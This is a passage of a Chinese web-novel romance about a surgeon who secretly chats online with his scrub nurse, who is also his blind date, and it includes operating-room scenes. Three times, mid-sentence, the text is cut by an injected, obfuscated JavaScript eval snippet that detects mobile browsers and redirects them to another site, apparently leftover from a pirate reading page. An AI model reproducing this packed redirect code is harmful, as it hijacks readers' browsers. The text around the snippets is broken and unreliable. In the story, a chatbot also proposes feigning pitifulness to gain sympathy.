他不擅长此项业务,第一次做偷感这么重的事情,难得重新体会第一次上手术台当主刀的感觉。
不对,他第一次上手术台当主刀时都没这么紧张。
他第一次上手术台当主刀前已经做了很久的手术一助,对手术流程了然于心,因此并没有太多的紧张,他甚至可以预判病人可能会出现的各种状况。
但现在他完全没办法预判俞钰会出现的各种反应。
甚至他从没想过自己在俞钰心里竟然是这么恶劣的人,恶劣到要在网上找人吐槽。
此号不看病:也意识到,我不需要一直只用理性去分析问题
俞钰看着屏幕上可以说是来了个一百八十度扭转的态度,还是觉得奇奇怪怪。
不要叫我小名:为什么忽然意识到?
不要叫我小名:总觉得有古怪
事出反常必有妖,但他想不出哪里有妖。
秦禾笙不是很擅长辩解,因为他通常不需要辩解,做了什么事情都会承认。
面对今天的情况他决定打开AI开始跟AI询问这种情况下应该怎么办。
D老师——
【……用户如果一直解释,会陷入自证陷阱,可以考虑采取一些反问,或者设问的方法,比如说……】
对这种事情没有任何经验的秦禾笙跟D老师聊过后,决定采纳一些办法。
此号不看病:没有任何古怪
此号不看病:只是忽然意识到一直理性分析问题的做法不可取
此号不看病:不用多想,我也没有一定要安慰你的理由
最后那句话说服俞钰。
说到底两个人只是相亲对象关系,对方确实没必要哄他,还要把他哄好。
不要叫我小名:好吧QAQ
不要叫我小名:先说你是不是领导呀?
此号不看病:手下没有几个人,但上面有很多领导
俞钰歪头思考,这就是承认自己是领导,但并不是什么大领导,只是个夹心饼小中层?
夹心饼中层也挺难受,要做好向上管理还要哄手下人干活,是不容易哦。
这么一想俞钰又有点后悔,刚才不应该语气那么严肃地跟对方说话。
不要叫我小名:听起来你也不容易
不要叫我小名:摸头.jpg
不要叫我小名:对不起刚才不该那么质问你
此号不看病:没关系
此号不看病:现在心情好些了么?
不要叫我小名:现在早就过了上周二生气的劲了,不过就还是郁闷
不要叫我小名:我为什么会遇到这么一个八字不合的领导
秦禾笙:“……”
他缓慢打字:为什么会说八字不合?
他发现,现在对于扮演一个陌生人,抽离自我,听别人评论他这项业务越来越熟练。
似乎不是什么好现象,但也没有更好的办法。
不要叫我小名:他要求严格,我性格懒散
不要叫我小名:他是卷王,我是咸鱼
不要叫我小名:严格来说我和领导也不能描述成八字不合
不要叫我小名:我们应该是水火不容
不要叫我小名:卷王永远也无法共情咸鱼,咸鱼永远也无法理解卷王
秦禾笙此时非常想把俞钰拖出来,让他看看这个聊天记录
他怎么就不能共情咸鱼,不能共情的话他现在正在做什么?!
秦禾笙很想扔下手机当面挑明,他甚至已经站起来,但又坐了回去。
深呼吸,冷静。
他继续打字:如果真的觉得跟领导很难相处,也许可以试着表达你的想法
此号不看病:通常来说领导也是人,不会不讲人情难以沟通
俞钰:“……?”
他皱眉看着屏幕上的消息,不是,这人怎么那么能共情领导,还劝他去找领导沟通谈话。
此号不看病确定知道跟领导沟通谈话,对于初入职场甚至连实习期都没过的牛马,要鼓起多大的勇气吗,特别是这里面还包含拒绝领导要求的要素。
谈的好还行,谈得不好被领导在转正申请上给一笔,他转不了正怎么办。
难道真的要重新头悬梁椎刺骨去考研或者考公?
俞钰觉得他这第四位相亲对象也开始越来越抽象,让人看不懂了。
不要叫我小名:你以为我没说吗?
不要叫我小名:我说了呀,上次介绍给我的书就没看,以为他懂那个意思
不要叫我小名:结果这周一又送了我一本
不要叫我小名:虽然比之前说的单本厚度少一半,但也是半个板砖的重量
不要叫我小名:压在一次性泡面碗上面,都能把泡面的碗压塌
不要叫我小名:居然让我看这么厚的书
不要叫我小名:这合理吗,这科学吗?
不要叫我小名:平时工作都快累死,为什么还要在休息时间加班看书,看的还是本来不用看的东西,我只想躺平好不好
俞钰越说越有怨气,凭什么刚工作就碰到这么卷的领导,还要带着他一起卷。
现在就连想找个人聊聊吐槽,对方都不靠谱地建议他去找领导谈。
这确定是打工牛马能够想出来的办法,难道不是应该跟他一起吐槽领导?
他气愤之下,把聊天记录截图给叶竹看,让叶竹来品评他的第四位相亲对象,当然只截图对方劝他去找领导聊聊,还说领导没那么难沟通的话。
果然,叶竹看了之后发出灵魂拷问:这人确定脑子没什么大病吗
叶竹:去跟领导聊聊我不想看书,约等于告诉领导我很懒不想干活,真的不会被记在小本本上?
叶竹:或者说这人就是领导,只会从领导的角度考虑问题
叶竹总结:绝对老登口吻
俞钰一看叶竹说的话,心里舒坦了。
所以果然不是他自己的问题,也许单纯是他跟这第四任相亲对象年龄差太多,三观也差太多,大家聊不来。
既然这样还是别勉强硬聊了吧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016068|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦禾笙发现俞钰的口吻有些不对,情绪激动又气愤,只能先试着发:抱歉,我不该那么说
此号不看病:没有考虑到你的立场
俞钰看到新收的几条消息,咬着嘴唇打字:你也不用道歉
不要叫我小名:我们年龄差太多,也许想法本来就很不一样
不要叫我小名:不用勉强彼此聊天
不要叫我小名:时间不早了,你早点睡啦
不要叫我小名:安安
秦禾笙看着屏幕上的消息。
这次换他被俞钰婉拒了?
上一次他婉拒俞钰,这一次俞钰婉拒他。
秦禾笙心情复杂地沉默片刻,决定先回消息:晚安
随后他去翻看工作账号上的聊天记录,陷入深思。
俞钰给他发了一个微笑的表情,看不出哪里不开心。
是他理解错了么?
他先上网搜[黄豆微笑]这个表情是不是有错误理解。
D老师综合一些网页,又经过深度思考后给出回答——
【……一开始指代微笑,但后面因为眼睛部分眼白过多,微笑的弧度僵硬等表情设计的问题,被用作指代假笑或者讽刺……】
秦禾笙:“……”
所以是假笑和讽刺?
不喜欢吗,不喜欢可以直接跟他说,他也不会勉强器械护士做这种课外作业,只是建议。
器械护士不是他带的规培牲,是医院的正式员工,他没有资格要求对方做工作以外的事情。
他只是那天讲的时候看俞钰听得还算认真,以为对方会需要。
他觉得俞钰很聪明,可以变得更好……
只是他到底没有权利干涉别人做的选择。
是他的错,他不该把想法强加在其他人身上。
这几天他会找时间跟俞钰聊一聊,如果确定对方不想看,他会解释清楚原因并且道歉。
以及,看情况要不要解释相亲的事情。
秦禾笙这边做出决定,那边俞钰终于找到了正确的吐槽人选,开始跟天选打工人叶竹一起聊。
俞钰:话说你跟卷王说过自己不想看那些文献吗?
叶竹:我没有直接说过,间接抗议过
俞钰:结果?
叶竹:还能有结果?当然是无果呀!
叶竹:我就问卷王论文是不是太多了,可能看不完
叶竹:卷王回答这些都看不完,将来毕业论文怎么写
叶竹:然后我就没话说了
叶竹:你说我能说什么,我一个毕业证和规培证都拿捏在别人手上的苦逼研究牲,压根反抗不了呀!
俞钰表示十分同情:你真的好惨
没毕业的医学研究牲好惨,在学校在医院都没什么人权的样子。
叶竹:唉,我现在只能安慰自己,卷王让看的论文确实很有用处,看了会收获不少
叶竹:比那个只会让我多看文献,却不告诉我看什么,问几句就劈头盖脸骂的导师强多了
叶竹:至于掉的那些头发,就当是逝去的青春
俞钰摸了下自己还算不错的发量,莫名打了个寒颤。
秦禾笙再多逼迫他学些东西,他会不会也脑门渐冷,发际线后移。
17.电钻
周五,俞钰又跟秦禾笙搭台做手术。
他完成外科洗手正在清点手术器械的时候,病人被推进来。
今天早上第一台做手术的是个年轻人,二十岁出头,因为长期跷二郎腿跷得脊柱侧弯,身体严重变形,必须手术矫正。
俞钰看到被推进来的病人,再想想对方要做的手术,莫名浑身一寒。
病人年龄跟他差不多大,是很多人口中的“小伙子”,外貌上看不出什么问题,很正常的同龄人模样,瑕疵的地方是上半身因为脊柱侧弯已经变成了“C”字型,脊柱侧弯将近六十度。
物理意义的“C”字型。
脊柱侧弯到这种程度,确实已经难以维持正常生活,要手术矫正。
俞钰已经跟过好几台脊柱矫正手术,清楚记得流程。
先全麻,沿着侧弯的位置做一个长切口,在每节脊柱上电钻打孔,骨勺清理,再把洞打出螺纹,拧万向螺丝,不拧紧,等都打完了上钉棒正型,拧紧螺丝,最后缝合。
坦白说俞钰第一次见到这台手术的时候真的腿脚发软,脊柱打孔的那个声音让人格外牙酸。
手术的过程也太有代入感,看主刀用电钻打孔的时候就会情不自禁代入自己,想着在自己身上打孔是什么感觉。
场面感十足,吓的人手脚发麻,任谁看了脊柱侧弯的手术流程,都会默默放下跷着的腿。
那边,麻醉师和巡回护士正在核对病人姓名。
“你好,请问是严征吗?”
严征点头,看着旁边的手术器械欲言又止。
麻醉师那边核对完信息,严征实在是忍不住好奇心,问俞钰:“医生,请问这些器械是我等会做手术要用到的吗?”
很多时候病人在手术室里分不清医生和护士,就干脆都叫医生,俞钰已经被叫过很多次医生,他从一开始的不习惯到后面坦然接受,也懒得纠正患者的说法。
他低头看着那堆比装修工人的工具箱里还齐全的电钻、螺丝和锤子等等,犹豫着该怎么跟病人说。
是忽悠,还是说实话?
很多时候善意的谎言在医院里非常重要,把真相告诉病人,心理承受能力弱的病人会无法接受,生生把病情吓得更严重。
不过有的人可以忽悠,有的人忽悠不住。
严征看俞钰不说话,立刻补上一句:“医生别骗我,我会上网查。”
脊柱侧弯手术的方法在网上不是什么秘密,很容易就能查到。
想到这里俞钰直接回答:“是做手术要用的,你之前没查吗?”
“之前不敢查,怕查了没勇气做。” 严征一脸苦闷地看着手术台:“医生也只给我解释用工具矫正,原来工具就是这些吗?”
他以为有什么黑科技的手段,结果台子上放的是电钻、螺丝和锤子等等,特别是那个锤子从大号到小号都有。
这些是做什么的?
细思极恐呀。
俞钰点头承认:“是这些。”
“这些都是做什么的?” 严征:“矫正我脊柱的吗?不是说用工具?”
“是呀,就是这些工具。”
矫正工具就是金属棒,最终目的是把金属棒放进去,顺着金属棒把脊柱拉直……哦,也可能是锤直的,如果侧弯太严重拉不动的话,就要上锤子了。
所谓矫正工具就是朴实无华的一大根金属棍子,十分坚硬,能把人闷头砸晕的那种。
当然医生很多时候会用语言美化一下过程和使用的工具,因为不美化的话,病人可能没有勇气上手术台。
“这些电钻和大锤都是要用在我身体里的吗?”
俞钰同情地看着严征:“是的。”
“幸好我现在才知道。” 严征喃喃低语:“要是提早知道,可能真的没勇气做手术。”
他已经不敢问怎么用,怕问了要临阵逃脱。
俞钰连忙给麻醉师使眼色,大意就是赶紧给孩子来一针麻翻了吧,不然可能真的要从手术室跑掉。
很多病人看到骨科的手术器械都会无法接受,他们以为有什么黑科技医疗手段,结果拎出来一个脸盆大的铁锤。
手术过程也格外暴-力血-腥。
骨外科医生很多时候就是无菌意识强的装修工人,包括骨科大佬在内都是这样。
他们有真正的装修工人都自愧不如的硬核装备库,并且装修工人沾的是粉尘,骨科沾的大部分都是人血。
别的科室拼的是稳如泰山的硬功底,微创操作的精细活,而骨科卷的是能扛鼎抡锤的蛮力,所以骨科医生几乎人均肌肉男,不然砸不动锤子。
从私人情感的角度来讲,俞钰一直对骨科医生敬而远之,一起工作可以,但绝对不想在相亲场合碰到,因为他看了太多次骨科医生抡大锤打电钻的场景,太有代入感,内心胆寒,自觉肯定不是对手。
这要是哪天吵架对方抡起锤子,他轻伤都得是骨裂,重伤绝对粉碎性骨折,搞不好直接人没了。
骨科医生,一个比杀-人狂-魔还要暴-力的存在。
一个杀-人狂-魔都不敢说自己能把人骨头敲得粉碎,但骨科医生绝对敢,并且精通此项业务。
所以拒绝骨科医生。
当然想远了,他也不一定会在相亲场合碰到骨科医生。
他的第四任相亲对象应该在前几天彻底告吹,没什么感情基础的相亲对象而已,说那么多对方估计也嫌他烦。
崔婧不知道什么时候会再来催,总感觉他母上大人还没放弃催婚的念头。
希望下一任来得晚一些。
俞钰想着这些事情,麻醉医生已经把病人放倒,他身后不出意外地传来脚步声。
秦禾笙带着三个助手走上手术台。
秦禾笙走过他身边时,二人的目光有一瞬间的对视,一触即分。
手术很快就开始,叶竹在给病人后背做全方位的消毒,俞钰分心想刚才的事情。
是他的错觉吗,刚才那一瞬间的对视,秦禾笙目光似乎有些奇怪,好像很复杂,欲言又止想说什么。
秦禾笙的心情确实很复杂,看到俞钰就想起昨天的事。
这个小家伙私下里毫无顾忌地吐槽他恶劣,但白天看到时又显得很乖巧,工作中一脸听话安静。
如果不是私下里的聊天,他永远也听不到那些话。
叶竹给患者的后背消好毒,秦禾笙深吸一口气,重新把注意力放在手术上。
今天的手术安排非常多,连午饭都是用战斗速度搞定,靠着墙壁休息十分钟下一台就要开始,手术室里的医护都快忙疯。
好不容易熬到晚上八点,一天的手术终于做完,手术室里的人慢慢离开,俞钰独自清点完手术室里的器械,将一些要清洗消毒的送去供应室,再从供应室搬运消毒好的器械包。
骨科的器械包是出了名的又大又重,有的时候一个器械包快有半人高,很多时候器械护士把器械包放在拖车上拉回手术室都会满头大汗,俞钰每次拉都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021326|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得自己像是拉磨的老驴。
不,驴一般只在农闲的时候拉磨,而他一年四季都要拉磨。
想想真是让人悲伤。
所以骨科器械护士一般都是男性,这真的是体力活。
通常如果叶竹有空的话会帮他,但今天叶竹要给病房的病人开医嘱先走了。
就在他拉得气喘吁吁,快拉不动时,拖车后面忽然传来一股推力帮他推动车子。
他回头看了眼,惊讶地发现是秦禾笙在后面帮他推。
他连忙说:“谢谢秦医生,没关系我自己来就可以。”
他何德何能,让副高帮忙推车。
秦禾笙垂着头,音色沉冷:“没关系。”
因为有人帮忙的关系,车很快就推到准备室,俞钰松一口气,正想去把器械包从拖车上抱走时,看到秦禾笙已经帮抱起。
七月底到八月中几乎是一年最热的时候,医护脱掉全方位包裹的手术服,下面都只穿着短袖。
秦禾笙上半身穿着浅蓝色的短袖衬衫,搬东西时手臂肌肉绷起,俞钰稍稍侧头就可以看到流畅的肌肉线条,好似雕塑一般完美。
秦禾笙是典型的穿衣显瘦脱衣有肉,衣架子一样的身材,修长匀称,肌肉线条也比很多健美选手更有美感,优雅又充满力量。
是个在健身房自拍都会让人流口水的身材。
他不敢多看副高的身材,只扫了一眼就转头。
秦禾笙很快帮忙把沉重的器械包放好,俞钰又说:“谢谢秦医生。”
秦禾笙转身站在俞钰面前,垂眸凝视着身前的俞钰。
俞钰有一双很大的眼睛,皮肤白皙,头顶的发丝看起来蓬松又柔软,让人很想揉一揉。
秦禾笙垂在身侧的手指又动了动,不过却什么都没做。
他站在一个可以看清俞钰表情的社交距离,看着对方问:“你喜欢看那本书么?如果有问题可以告诉我。”
俞钰觉得秦禾笙有些奇怪,对方从表情到语气都显得格外认真,黑色的眸子凝视着他,里面好像有漩涡想把他的目光都吸进去。
俞钰有一瞬间的冲动说实话,但昨晚叶竹的话和过往经历又浮现在脑海中。
人都是摔跤后才学会成长,没有谁一开始就能理解职场的潜规则。
人教人教不会,事教人一次就会。
俞钰最开始做毕设做实习的时候,也是个清澈中透着愚蠢的单纯男大,带他做毕设的师兄也许是看他好欺负,就把所有的事情都扔给他做,他那时不仅要在医院里实习,还要做学校里繁重的工作,人快累虚脱。
他无奈之下找教授诉苦,教授随口问他怎么回事有事情可以都说出来,他当真了,就把事情都说出来请求帮忙。
得到的却只有斥责。
没人想听他说什么,他们只想压榨劳动力,他只用当一个干活机器就可以,问他也只是虚伪作秀,不想听到任何诉苦的回答,只想听到一切都好的标准答案。
他对秦禾笙的提问没有任何信心。
那件事情到最后,还是父母出面解决的。
他现在已经长大成年工作,应该学着自己解决事情,不想再麻烦父母。
他撑起一个公式化的微笑:“秦医生,我没有不喜欢看。”
人不能,最起码不可以在没过实习期的时候,嚣张地说自己不喜欢领导送的书。
秦禾笙:“……”
这个小骗子。
对着他一句实话都不讲。
18.宠物
秦禾笙对俞钰不配合的态度倍感无奈,如果不是顶着相亲对象的号,他从来都不知道俞钰心里面有那么多想法,却不在他面前露出一丝一毫。
对此他只能试着说:“如果有事情,可以随时找我沟通。”
俞钰礼貌又客气地回答:“我知道了,谢谢秦医生。”
卷王说的客套话,不能当真。
他承认自己对领导没有什么信任。
秦禾笙:“……”
他一眼就能看出俞钰的敷衍。
他们的身份从一开始就是错位,如果不是一次意外的相亲他没有机会了解这么多。
他语气依旧如常:“时间很晚,早点回家休息吧。”
他说完就转身离开。
俞钰看到秦禾笙离开后松一口气,但心情又奇特的有点茫然若失。
他站在原地惆怅片刻,拿出手机想发消息问叶竹什么时候走要不要同路时,看到叶竹给他发了好多条消息——
叶竹:苍天呀大地呀,卷王什么时候能给我找个师娘
叶竹:求求他多关注私人生活,少管管我吧
叶竹:他今天查我论文阅读进度,发现本来该看的手术论文没看完后,脸色立刻冷下来
叶竹:我当时吓得白毛汗都流下来
俞钰好奇问:你为什么没看完?
叶竹:实在是太多了呀,我又没像卷王一样进化掉睡眠,昨天看到一半就睡着了
叶竹:没办法论文太催眠
俞钰:我同情你
俞钰:骨科的规培好像就一个月,熬一熬你快要看到胜利的曙光了
叶竹:此人已死有事烧纸.jpg
叶竹:没什么曙光,下个皮肤科更糟心,主任在科室里公然跟小三和小四谈情说爱,据说科室内关系处得一塌糊涂
叶竹:骨科的医生最起码私生活都很清明
俞钰:[惊恐][惊恐][惊恐]
俞钰:小三和小四都有吗,太恐怖了
俞钰:我妈下次介绍的时候,我一定要拒绝医生,私生活太混乱,告辞告辞
**
秦禾笙回到家,开始采取学霸思维的做法,去搜索论文,研究如何继续原本已经冷场的网友之间聊天。
可惜学术论文教不了这种事情,他检索出来的结果大多都是:人类情感学研究、如何更好原谅自己的过错、与他人沟通的技巧……
他看了与他人沟通技巧并没什么用,最终还是打开深度思考模式,询问D老师应该怎么办。
D老师倒是提供几个方案——
真诚道歉,然后主动开启新话题
装可怜卖惨,博取同情
……
秦禾笙看来看去,觉得D老师给的答案也不可靠,还是去找他交友经验比较丰富的朋友询问。
他在好友列表里找到大学同学闫铭的联系方式。
他们毕业后进了不同的医院,一个是骨科一个是眼科,现在三十岁出头都算是事业有成的级别。
跟他不同的是,闫铭的感情史一直很丰富,从上学期间就一直换女朋友,到现在换了六七个吧。
劈腿渣男算不上,因为每次只谈一个,但热情太短。
考虑到这是闫铭擅长的领域,他干脆把最后的聊天记录截图发送,问对方这种情况下应该怎么继续交谈下去
闫铭:???
闫铭:!!!
闫铭:不是吧兄弟,你这么大岁数居然还搞网恋,靠谱吗?知道那头是人是鬼吗?
秦禾笙解释:教授介绍的,不是网恋
闫铭:教授介绍的你干嘛不通过教授直接约出来?
秦禾笙:……你不懂
闫铭:是,我不懂,不懂你这个满脑子只有临床和论文的人怎么忽然要问这个
闫铭:能不能先解释下到底什么情况?
闫铭:教授介绍的都不敢约出来,你是做过什么得罪人的事情吗
秦禾笙:差不多
最大的错误应该是身份问题。
闫铭:得罪了,你还想继续下去?那你当初得罪干嘛?
好问题,这直接把秦禾笙问无语了。
秦禾笙:讨论从前的事情没意义,问题是现在怎么办
闫铭:……
闫铭:行吧,你确定要挽回?
秦禾笙:谈不上挽回,就是继续交谈,我有想知道的事情
闫铭:顺便问一下是不是还想通过网聊获得好感,给最后奔现加分?
秦禾笙:不一定非要这样
闫铭:你还挺含蓄,是不是本来就打算这样,不好意思说?
秦禾笙不否认也不承认,只问:方法?
闫铭:方法其实挺简单的,就是你自己要拉下脸来
闫铭:你可以找个他不忙不累的时候,说点自己的事情打开话题,再隐晦地对从前的事道歉
闫铭:至于获得好感这个不难,多陪聊,多体贴,多关心,找准自己电子宠物狗的定位就很容易培养出一定好感
闫铭:不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027625|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过大家对网恋的接受程度不一样,可能你聊半天也只是很浅显的好感
闫铭:真想发展最后还是得奔现,考虑下吧兄弟
闫铭:没有真正的柏拉图
秦禾笙:[引用]电子宠物……狗?
秦禾笙:这是什么形容?
闫铭:就是宠物狗呀,不然你还想当什么,宠物猫?
闫铭:你这么大体积合适吗?
秦禾笙揉了揉额角,无语强调:我是个人
闫铭:那行兄弟,你也这么跟截图里的那个人聊天,看能不能聊成功
秦禾笙:。。。。。。
他放下手机,觉得闫铭比D的深度思考都不靠谱。
周五晚上几乎是打工人最放松的时候,就连俞钰也不意外,他正吃着薯片看着剧,觉得生活没有比这个更好的时候,忽然收到原本应该没下文的第四任相亲对象消息。
此号不看病:这几天心情有没有好一些?
他收到消息的时候惊讶极了。
他这第四任相亲对象,怎么忽然诈尸。
周二晚上炸一次,今晚又炸一次。
他以为周二晚上那么说,应该是彼此断联的意思,结果今天又收到新消息。
这是还想继续聊聊吗?
怎么忽然间变热情了。
从前刚加好友的时候对方好像没有主动说过一句话,后面还是他主动说才聊了两句。
再然后就是这周二的突然询问,还有今天的关心。
俞钰怎么想怎么觉得不对劲。
事出反常必有妖呀。
忽然热情能是因为什么,知道他的一部分信息?
保险起见,他再次去问崔婧:妈,那第四个相亲对象有没有再来你这里打听过我的消息呀?
晚上八点多崔婧也在刷手机,看到消息立刻回:没有呀,什么都没来问过
崔婧:怎么了,那个相亲对象有什么事吗?
俞钰不想让父母介入太多,只说:没什么,好奇问下
俞钰:妈,如果他或者介绍人来你这里打听我的消息,你一定要告诉我
崔婧:好的嘟嘟
俞钰重新看着此号不看病发的消息,思索片刻决定直接问。
他在私事上拒绝内耗,不想猜来猜去,看看对方给的答案再说。
不要叫我小名:探头探脑.jpg
不要叫我小名:满脸疑惑.jpg
不要叫我小名:好神奇,你为什么会忽然主动给我发消息?